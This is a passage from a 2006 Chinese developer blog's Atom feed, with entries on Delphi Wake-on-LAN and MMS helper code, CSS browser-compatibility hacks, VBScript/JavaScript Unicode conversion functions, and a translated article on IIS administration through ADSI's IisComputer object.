&nbsp;&nbsp;Result&nbsp;:=&nbsp;WSAGetLastError;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ShowMessage(Format(#13#10'Windows&nbsp;socket函数''%s''错误:&nbsp;%s&nbsp;(%d)',[FuncName,SysErrorMessage(Result),&nbsp;Result]));&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Abort;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end&nbsp;else&nbsp;Result&nbsp;:=&nbsp;0;<BR>end;<BR><BR>procedure&nbsp;TForm1.Button1Click(Sender:&nbsp;TObject);<BR>var&nbsp;<BR>&nbsp;&nbsp;WSAData:&nbsp;TWSAData;<BR>&nbsp;&nbsp;MSocket:&nbsp;TSocket;<BR>&nbsp;&nbsp;SockAddrIn:&nbsp;TSockAddrIn;<BR>&nbsp;&nbsp;RetVal,&nbsp;OptVal,&nbsp;i:&nbsp;Integer;<BR>&nbsp;&nbsp;MacAddr:&nbsp;array[0..5]&nbsp;of&nbsp;Byte;<BR>&nbsp;&nbsp;MagicData:&nbsp;array[0..101]&nbsp;of&nbsp;Byte;<BR>&nbsp;&nbsp;Position:&nbsp;Longint;<BR>&nbsp;&nbsp;SAddr:string;<BR>begin<BR>&nbsp;&nbsp;SAddr:=edit1.Text;//网卡的MAC地址<BR>&nbsp;&nbsp;//00-0d-61-93-20-dc<BR>&nbsp;&nbsp;try<BR>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;Length(SAddr)&nbsp;&lt;&gt;&nbsp;17&nbsp;then&nbsp;Abort;<BR>&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;i&nbsp;:=&nbsp;1&nbsp;to&nbsp;Length(SAddr)&nbsp;do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;i&nbsp;in&nbsp;[3,&nbsp;6,&nbsp;9,&nbsp;12,&nbsp;15]&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;SAddr[i]&nbsp;&lt;&gt;&nbsp;'-'&nbsp;then&nbsp;Abort;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;i&nbsp;:=&nbsp;0&nbsp;to&nbsp;High(MacAddr)&nbsp;do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;Pos('-',&nbsp;SAddr)&nbsp;&gt;&nbsp;0&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MacAddr[i]&nbsp;:=&nbsp;StrToInt(HexDisplayPrefix&nbsp;+&nbsp;Copy(SAddr,&nbsp;1,&nbsp;Pos('-',&nbsp;SAddr)&nbsp;-&nbsp;1))<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MacAddr[i]&nbsp;:=&nbsp;StrToInt(HexDisplayPrefix&nbsp;+&nbsp;SAddr);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Delete(SAddr,&nbsp;1,&nbsp;Pos('-',&nbsp;SAddr));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;except<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ShowMessage(#13#10'网卡地址错误.');<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CheckWinSockResult(WSAStartup($0101,&nbsp;WSAData),&nbsp;'WSAStartup');<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MSocket&nbsp;:=&nbsp;socket(AF_INET,&nbsp;SOCK_DGRAM,&nbsp;IPPROTO_IP);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;MSocket&nbsp;=&nbsp;INVALID_SOCKET&nbsp;then&nbsp;CheckWinSockResult(MSocket,&nbsp;'socket');<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OptVal&nbsp;:=&nbsp;1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CheckWinSockResult(setsockopt(MSocket,&nbsp;SOL_SOCKET,&nbsp;SO_BROADCAST,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PChar(@OptVal),&nbsp;SizeOf(OptVal)),&nbsp;'setsockopt');<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FillChar(MagicData,&nbsp;SizeOf(MagicData),&nbsp;$FF);&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Position&nbsp;:=&nbsp;LEN_PHYSADDR;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;Position&nbsp;&lt;&nbsp;SizeOf(MagicData)&nbsp;do&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Move(MacAddr,&nbsp;Pointer(Longint(@MagicData)&nbsp;+&nbsp;Position)^,&nbsp;LEN_PHYSADDR);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Inc(Position,&nbsp;LEN_PHYSADDR);&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SockAddrIn.sin_family&nbsp;:=&nbsp;AF_INET;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SockAddrIn.sin_addr.S_addr&nbsp;:=&nbsp;Longint(INADDR_BROADCAST);&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RetVal&nbsp;:=&nbsp;sendto(MSocket,&nbsp;MagicData,&nbsp;SizeOf(MagicData),&nbsp;0,&nbsp;SockAddrIn,&nbsp;SizeOf(SockAddrIn));&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;RetVal&nbsp;=&nbsp;SOCKET_ERROR&nbsp;then&nbsp;CheckWinSockResult(RetVal,&nbsp;'sendto');&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CheckWinSockResult(closesocket(MSocket),&nbsp;'closesocket');&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CheckWinSockResult(WSACleanup,&nbsp;'WSACleanup');&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;except&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>end;<BR><BR>end.]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=211" /> 
	  <id>http://www.openx.cn/default.asp?id=211</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[收集些代码]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-02-08T15:50:42+08:00</updated>
	  <published>2006-02-08T15:50:42+08:00</published>
		  <summary type="html"><![CDATA[<P>//根据用户选择的文件，自动判断MMS的Type</P>
<P>procedure getMMSContentType();&nbsp; <BR>var<BR>&nbsp; i:Integer;<BR>&nbsp; extendname:string;<BR>&nbsp; text,picture,sound,video:Integer;<BR>begin<BR>&nbsp; text:=0;<BR>&nbsp; picture:=0;<BR>&nbsp; sound:=0;<BR>&nbsp; video:=0; </P>
<P>&nbsp; if Stringlist.Count=0 then&nbsp; RCBType.ItemIndex:=0;</P>
<P>&nbsp; for i := 0 to Stringlist.Count - 1 do<BR>&nbsp; begin<BR>&nbsp;&nbsp;&nbsp; extendname:=LowerCase( RightStr(Trim(Stringlist.Strings[i]),3));<BR>&nbsp;&nbsp;&nbsp; if (extendname='txt') or (extendname='htm') or (extendname='tml') then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; text:=text+1;<BR>&nbsp;&nbsp;&nbsp; if (extendname='bmp') or (extendname='jpg') or (extendname='gif') then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; picture:=picture+1;<BR>&nbsp;&nbsp;&nbsp; if (extendname='wma') or (extendname='mp3') then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sound:=sound+1;<BR>&nbsp;&nbsp;&nbsp; if (extendname='avi') or (extendname='mp4') then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; video:=video+1;<BR>&nbsp; end;</P>
<P>&nbsp; if (text&gt;0) and (picture=0) and (sound=0) and (video=0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=0;</P>
<P>&nbsp; if (text=0) and (picture&gt;0) and (sound=0) and (video=0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=1;</P>
<P>&nbsp; if (text&gt;0) and (picture&gt;0) and (sound=0) and (video=0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=2;</P>
<P>&nbsp; if (text=0) and (picture=0) and (sound&gt;0) and (video=0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=3;</P>
<P>&nbsp; if (text&gt;0) and (picture=0) and (sound&gt;0) and (video=0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=4;</P>
<P>&nbsp; if (text=0) and (picture&gt;0) and (sound&gt;0) and (video=0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=5;</P>
<P>&nbsp; if (text&gt;0) and (picture&gt;0) and (sound&gt;0) and (video=0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=6;</P>
<P>&nbsp; if (text=0) and (picture=0) and (sound=0) and (video&gt;0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=7;</P>
<P>&nbsp; if (text&gt;0) and (picture=0) and (sound=0) and (video&gt;0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=8;</P>
<P>&nbsp; if (text=0) and (picture&gt;0) and (sound=0) and (video&gt;0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=9;</P>
<P>&nbsp; if (text&gt;0) and (picture&gt;0) and (sound=0) and (video&gt;0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=10;</P>
<P>&nbsp; if (text=0) and (picture=0) and (sound&gt;0) and (video&gt;0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=11;</P>
<P>&nbsp; if (text&gt;0) and (picture=0) and (sound&gt;0) and (video&gt;0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=12;</P>
<P>&nbsp; if (text=0) and (picture&gt;0) and (sound&gt;0) and (video&gt;0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=13;</P>
<P>&nbsp; if (text&gt;0) and (picture&gt;0) and (sound&gt;0) and (video&gt;0) then<BR>&nbsp;&nbsp;&nbsp;&nbsp; RCBType.ItemIndex:=14;</P>
<P>end;</P>
<P>&nbsp;</P>
<P>//获取文件的大小，值为Byte</P>
<P>function TNewMMS.getFileSize(sFileName:string):Longint;<BR>var<BR>&nbsp; Attrs: Word;<BR>&nbsp; f: file of Byte;<BR>&nbsp; size: Longint;<BR>begin<BR>&nbsp; Attrs := FileGetAttr(sFileName);<BR>&nbsp; try<BR>&nbsp;&nbsp;&nbsp; AssignFile(f, sFileName);<BR>&nbsp;&nbsp;&nbsp; Reset(f);<BR>&nbsp;&nbsp;&nbsp; size := FileSize(f);<BR>&nbsp; finally<BR>&nbsp;&nbsp;&nbsp; CloseFile(f);<BR>&nbsp; end;<BR>&nbsp; result:=size;<BR>end;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=209" /> 
	  <id>http://www.openx.cn/default.asp?id=209</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[整理我所知道的为兼容各个浏览器的技巧]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-02-07T09:43:54+08:00</updated>
	  <published>2006-02-07T09:43:54+08:00</published>
		  <summary type="html"><![CDATA[<P><FONT color=#ff9900>1,盒解释器的不同解释.</FONT></P><PRE>#box{
   width:600px;        //for  ff+ie6.0
   w\idth:500px;       //for   ie6.0-
}
#box{
    width:600px!important            //for ff
    width:600px;        //for  ff+ie6.0
    width /**/:500px;       //for   ie6.0-
}
</PRE>
<P><FONT color=#ff9900>2,在ie中隐藏css,使用子选择器</FONT></P><PRE>html&gt;body #box{     }
</PRE>
<P><FONT color=#ff9900>3,只有ie识别</FONT></P><PRE>*html #box{     }
</PRE>
<P><FONT color=#ff9900>4,在ie/win有效而ie/max隐藏,使用反斜杠</FONT></P><PRE>/* \ */
</PRE>#box{ } 
<P><FONT color=#ff9900>5,给ie单独定义样式</FONT></P><SPAN class=code>
<STYLE></STYLE>
</SPAN>
<P><FONT color=#ff9900>6,浮动ie产生的双倍距离</FONT></P><PRE>#box{
   float:left;
   width:100px;
   margin:0 0 0 100px;  //这种情况之下IE会产生200px的距离
   display:inline;   //使浮动忽略
}
</PRE>
<P>这里细说一下block,inline两个元素,Block元素的特点是:总是在新行上开始,高度,宽度,行高,边距都可以控制;(块元素)Inline元素的特点是:和其他元素在同一行上,...不可控制;(内嵌元素)</P><PRE>#box{
   display:block; //可以为内嵌元素模拟为块元素
   display:inline; //实现同一行排列的的效果
   diplay:table;   //for ff,模拟table的效果
}
</PRE>
<P><FONT color=#ff9900>7,for oprea only</FONT></P><PRE>@media all and (min-width:0px){/* opera */
#box{  }
}
</PRE>
<P><FONT color=#ff9900>8,IE与宽度和高度的问题</FONT></P>
<P>IE不认得min-这个定义，但实际上它把正常的width和height当作有min的情况来使。这样问题就大了，如果只用宽度和高度，<BR>正常的浏览器里这两个值就不会变，如果只用min-width和min-height的话，IE下面根本等于没有设置宽度和高度。</P>
<P>比如要设置背景图片，这个宽度是比较重要的。要解决这个问题，可以这样：</P><PRE>#box{
    width: 80px;
    height: 35px;
}
html&gt;body #box{
    width: auto;
    height: auto;
    min-width: 80px;
    min-height: 35px;
}
</PRE>
<P><FONT color=#ff9900>9,页面的最小宽度</FONT></P>
<P>min-width是个非常方便的CSS命令，它可以指定元素最小也不能小于某个宽度，这样就能保证排版一直正确。但IE不认得这个，而它实际上把width当做最小宽度来使。为了让这一命令在IE上也能用，可以把一个&lt;div&gt; 放到 &lt;body&gt; 标签下，然后为div指定一个类：</P><PRE><DIV class=container>
</DIV>
</PRE>然后CSS这样设计： <PRE>#container{
  min-width: 600px;
  width:expression(document.body.clientWidth &lt; 600? "600px": "auto" );
}
</PRE>
<P>第一个min-width是正常的；但第2行的width使用了Javascript，这只有IE才认得，这也会让你的HTML文档不太正规。它实际上通过Javascript的判断来实现最小宽度。</P>
<P>同样的办法也可以为IE实现最大宽度：</P><PRE>#container
{
min-width: 600px;
max-width: 1200px;
width:expression(document.body.clientWidth &lt; 600? "600px" : document.body.clientWidth &gt; 1200? ”1200px“ : ”auto";
}
</PRE>
<P><FONT color=#ff9900>10,清除浮动</FONT></P><PRE>.hackbox{
       display:table; //将对象作为块元素级的表格显示
}
或者
.hackbox{
        clear:both;
}
</PRE>
<P>或者加入:after（伪对象）,设置在对象后发生的内容，通常和content配合使用，IE不支持此伪对象，非Ie 浏览器支持，所以并不影响到IE/WIN浏览器。-------这种的最麻烦的......</P><PRE>#box:after{
    content: "."; 
    display: block;
    height: 0; 
    clear: both; 
    visibility: hidden;
} 
</PRE>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=208" /> 
	  <id>http://www.openx.cn/default.asp?id=208</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[VBScript和JavaScript写的Unicode转换函数]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-01-25T15:01:46+08:00</updated>
	  <published>2006-01-25T15:01:46+08:00</published>
		  <summary type="html"><![CDATA[<P><STRONG>VBScript版本:</STRONG></P>
<P>Function Chr2Unicode(byval str)<BR>&nbsp;Dim st, t, i<BR>&nbsp;For i = 1 To Len(str)<BR>&nbsp;&nbsp;t = Hex(AscW(Mid(str, i, 1)))<BR>&nbsp;&nbsp;If (Len(t) &lt; 4) Then<BR>&nbsp;&nbsp;&nbsp;while (Len(t) &lt; 4)<BR>&nbsp;&nbsp;&nbsp;t = "0" & t<BR>&nbsp;&nbsp;&nbsp;Wend<BR>&nbsp;&nbsp;End If<BR>&nbsp;&nbsp;t = Mid(t, 3) & Left(t, 2)<BR>&nbsp;&nbsp;st = st & t<BR>&nbsp;Next<BR>&nbsp;Chr2Unicode = st<BR>End Function<BR></P>
<P>Function Unicode2Chr(byval str)<BR>&nbsp;Dim st, t, i<BR>&nbsp;For i = 1 To Len(str)/4<BR>&nbsp;&nbsp;t = Mid(str, 4*i-3, 4)<BR>&nbsp;&nbsp;t = Mid(t, 3) & Left(t, 2)<BR>&nbsp;&nbsp;t = ChrW(Hex2Dec(t))<BR>&nbsp;&nbsp;st = st & t<BR>&nbsp;Next<BR>&nbsp;Unicode2Chr = st<BR>End Function</P>
<P>Function Hex2Dec(byval str)<BR>&nbsp;Dim i, j, k, result<BR>&nbsp;result = 0<BR>&nbsp;For i = 1 To Len(str)<BR>&nbsp;&nbsp;Select Case Mid(str, i, 1)<BR>&nbsp;&nbsp;&nbsp;Case "F": j = 15<BR>&nbsp;&nbsp;&nbsp;Case "E": j = 14<BR>&nbsp;&nbsp;&nbsp;Case "D": j = 13<BR>&nbsp;&nbsp;&nbsp;Case "C": j = 12<BR>&nbsp;&nbsp;&nbsp;Case "B": j = 11<BR>&nbsp;&nbsp;&nbsp;Case "A": j = 10<BR>&nbsp;&nbsp;&nbsp;Case Else: If Mid(str, i, 1) &lt;= "9" And Mid(str, i, 1) &gt;= "0" Then j = CInt(Mid(str, i, 1))<BR>&nbsp;&nbsp;End Select<BR>&nbsp;&nbsp;For k = 1 To Len(str) - i<BR>&nbsp;&nbsp;&nbsp;j = j * 16<BR>&nbsp;&nbsp;Next<BR>&nbsp;&nbsp;result = result + j<BR>&nbsp;Next<BR>&nbsp;Hex2Dec = result<BR>End Function<BR></P>
<P><STRONG>JavaScript版本:</STRONG></P>
<P>function chr2Unicode(str) {<BR>&nbsp;if ('' != str) {<BR>&nbsp;&nbsp;var st, t, i;<BR>&nbsp;&nbsp;st = '';<BR>&nbsp;&nbsp;for (i = 1; i &lt;= str.length; i ++){<BR>&nbsp;&nbsp;&nbsp;t = str.charCodeAt(i - 1).toString(16);<BR>&nbsp;&nbsp;&nbsp;if (t.length &lt; 4)<BR>&nbsp;&nbsp;&nbsp;while(t.length &lt;4)<BR>&nbsp;&nbsp;&nbsp;&nbsp;t = '0'.concat(t);<BR>&nbsp;&nbsp;&nbsp;t = t.slice(2, 4).concat(t.slice(0, 2))<BR>&nbsp;&nbsp;&nbsp;st = st.concat(t);<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;return(st.toUpperCase());<BR>&nbsp;}<BR>&nbsp;else {<BR>&nbsp;&nbsp;&nbsp;return('');<BR>&nbsp;}<BR>}<BR></P>
<P>function unicode2Chr(str) {<BR>&nbsp;if ('' != str) {<BR>&nbsp;&nbsp;var st, t, i<BR>&nbsp;&nbsp;st = '';<BR>&nbsp;&nbsp;for (i = 1; i &lt;= str.length/4; i ++){<BR>&nbsp;&nbsp;&nbsp;t = str.slice(4*i-4, 4*i-2);<BR>&nbsp;&nbsp;&nbsp;t = str.slice(4*i-2, 4*i).concat(t);<BR>&nbsp;&nbsp;&nbsp;st = st.concat('%u').concat(t);<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;st = unescape(st);<BR>&nbsp;&nbsp;return(st);<BR>&nbsp;}<BR>&nbsp;else<BR>&nbsp;&nbsp;return('');<BR>}<BR></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=206" /> 
	  <id>http://www.openx.cn/default.asp?id=206</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[利用ADSI - 第一部分:理解IisComputer管理对象]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-01-24T16:08:20+08:00</updated>
	  <published>2006-01-24T16:08:20+08:00</published>
		  <summary type="html"><![CDATA[<STRONG><FONT face=宋体 size=5>利用ADSI - 第一部分:理解IisComputer管理对象</FONT></STRONG><SPAN class=90V><BR><BR><FONT face=宋体><FONT size=2>Christopher Furlin, 网络技术作家<BR>Internet信息服务文档小组<BR>微软公司<BR><BR>本文是使用ADSI一系列文章中的第一篇，它讨论ADSI管理对象。ADSI为管理网络资源提供了单一的一组目录服务接口。这就更易于利用客户端的代码来执行在IIS上运行的管理任务。用于这些任务的主要对象是ISAO (IIS Administration Objects，IIS管理对象)，这些对象是拥有一个适应ADSI 的接口的COM对象。这些对象协助自定义应用程序的开发，这些应用程序拥有创建并配置虚拟目录，网站，和FTP站点的能力。你可以利用ASP（Active Server Pages，活动服务器页面），C++, Visual Basic，以及其他许多支持COM的开发环境。这一些列的文章，使用ADSI，除了浏览一些实践例子，还将探讨怎样访问作为IisComputer组成部分的每个成员对象。这一系列文章是针对拥有中等程度的ASP知识，并想学习怎样成功地使用ADSI的开发人员。<BR><BR>这篇文章主要集中在两点上：利用ASP和你的客户浏览器，以及使用IisComputer对象。利用带IisComputer的ADSI，你可以用几种不同的方法查询并修改metabase。利用ADSI知识，ISPs和管理员可以创建网页和脚本，来做从配置本地机器到创建新的账号的所有的事情。IisComputer位于IIS层的顶部，并且领会它的重要性是理解其余的IIS管理对象怎样作为一个整体在一起工作的关键。<B>IisComputer</B>为应用程序开发人员提供了一些简单的技术来获得到位于这个机器上的所有服务的访问权。<BR><BR></FONT><B><SPAN class=105V>IIsComputer</SPAN></B></FONT><FONT face=宋体 size=2> <BR><BR><B>IisComputer</B>对象是包含所有其他成员对象的主要对象。除了你可能在设置你的系统时已经安装的所有其它匹配ADSI的对象，这还包括<B>IIsWebService</B>, <B>IIsFtpService</B>, <B>IIsLogModules</B>,和<B>IisMimeMap</B>。<B>IisComputer</B>主要用于设置metabase属性的值来决定IIS怎样操作。<B>IisComputer</B>有六个主要属性，他们对所有其它匹配ADSI的对象是通用的：<B>Name, ADsPath, Class, GUID, Parent,</B> 和<B>Schema</B>。所有这些属性的数据类型都是<I>string</I>，是只读的，并且用于利用ADSI客户程序来进行ADSI名字空间管理。下面的表格简略解释了这些属性和他们的主要功能。</FONT></SPAN> 
<TABLE borderColor=#808080 cellSpacing=1 width="100%" border=1>
<TBODY>
<TR>
<TD vAlign=center width="19%"><B>
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>ADSI 属性</FONT></SPAN></B></P></TD>
<TD vAlign=center width="81%"><B>
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>介绍</FONT></SPAN></B></P></TD></TR>
<TR>
<TD vAlign=center width="19%"><B>
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>ADsPath</FONT></SPAN></B></P></TD>
<TD vAlign=center width="81%">
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>包含唯一标识这个对象的路径，在<B>GetObject</B>中用来取还这个对象。</FONT></SPAN></P></TD></TR>
<TR>
<TD vAlign=center width="19%"><B>
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>Class</FONT></SPAN></B></P></TD>
<TD vAlign=center width="81%">
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>标识对象计划类的名字。</FONT></SPAN></P></TD></TR>
<TR>
<TD vAlign=center width="19%"><B>
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>GUID</FONT></SPAN></B></P></TD>
<TD vAlign=center width="81%">
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>包含这个计划类的对象的可选的唯一标识符。</FONT></SPAN></P></TD></TR>
<TR>
<TD vAlign=center width="19%"><B>
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>Name</FONT></SPAN></B></P></TD>
<TD vAlign=center width="81%">
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>在底层名字空间中的对象的名字。</FONT></SPAN></P></TD></TR>
<TR>
<TD vAlign=center width="19%"><B>
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>Parent</FONT></SPAN></B></P></TD>
<TD vAlign=center width="81%">
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>包含父容器对象的<B>AdsPath</B>。</FONT></SPAN></P></TD></TR>
<TR>
<TD vAlign=center width="19%"><B>
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>Schema</FONT></SPAN></B></P></TD>
<TD vAlign=center width="81%">
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>描述这个类的对象的<B>AdsPath</B>。</FONT></SPAN></P></TD></TR></TBODY></TABLE>
<P><SPAN class=90V><FONT face=宋体><B><SPAN class=105V>利用IIsComputer</SPAN></B><BR><BR></FONT><FONT face=宋体 size=2>当设置使用这个对象的一个应用程序时，你首先需要创建<B>IisComputer</B>的一个实例，这个实例包含成员服务对象的一个目录。下面的例子创建<B>IisComputer</B>的一个实例，包含位于你的机器上的对象的一个列表。<BR><BR>&lt;%<BR>Dim objComp<BR>' Get the container object for the machine <BR>Set objComp = GetObject("IIS://<I>MachineName</I>")<BR>%&gt;<BR>然后，你可以显示所有的通过在前面的例子上进行扩展就可以使用的服务对象。<BR>&lt;%<BR>Dim objComp, strItem<BR>' Get the container object for the machine<BR>Set objComp = GetObject("IIS://<I>MachineName</I>")<BR>' Provide a list of all objects installed on this machine<BR>For Each strItem in objComp<BR>Response.Write "Name: " & strItem.Name & "&lt;br&gt;"<BR>Response.Write "Class: " & strItem.Class & "&lt;p&gt;"<BR>Next<BR>%&gt;<BR><BR>除了六个主要的属性，<B>IisComputer</B>包含其他三个可以设置值的属性。这三个属性是<B>MaxBandwidth</B>, <B>MaxBandwidthBlocked</B>, 和<B>MimeMap</B>。注意，这些属性值，在IisComputer层上对所有的服务都是缺省的。但是，对于所有的服务器实例，他们都可以被忽略而单独设置。</FONT></SPAN></P>
<TABLE borderColor=#808080 cellSpacing=1 width="100%" border=1>
<TBODY>
<TR>
<TD vAlign=center width="29%"><B>
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>属性名</FONT></SPAN></B></P></TD>
<TD vAlign=center width="71%"><B>
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>介绍</FONT></SPAN></B></P></TD></TR>
<TR>
<TD vAlign=center width="29%"><B>
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>MaxBandwidth</FONT></SPAN></B></P></TD>
<TD vAlign=center width="71%">
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>指定用于整个IIS实现的最大网络带宽。这个属性可以帮助防止由于IIS行为而使网络过载。它是非继承的，但是这个设置对所有其它服务器实例是全局可用的。</FONT></SPAN></P></TD></TR>
<TR>
<TD vAlign=center width="29%"><B>
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>MaxBandwidthBlocked</FONT></SPAN></B></P></TD>
<TD vAlign=center width="71%">
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>包含当超过服务器的最大带宽时被排队的异步请求的最大数目。</FONT></SPAN></P></TD></TR>
<TR>
<TD vAlign=center width="29%"><B>
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>MimeMap</FONT></SPAN></B></P></TD>
<TD vAlign=center width="71%">
<P align=justify><SPAN class=90V><FONT face=宋体 size=2>为MIME映射提供文件名扩展名的一个列表。在机器层，<B>MimeMap</B>包含映射的缺省列表，并且可以在服务层被忽略。（这个属性是由IisMimeMap管理的，IisMimeMap是这一系列文章中一篇将来的文章中所要主要讨论的内容。</FONT></SPAN></P></TD></TR></TBODY></TABLE>
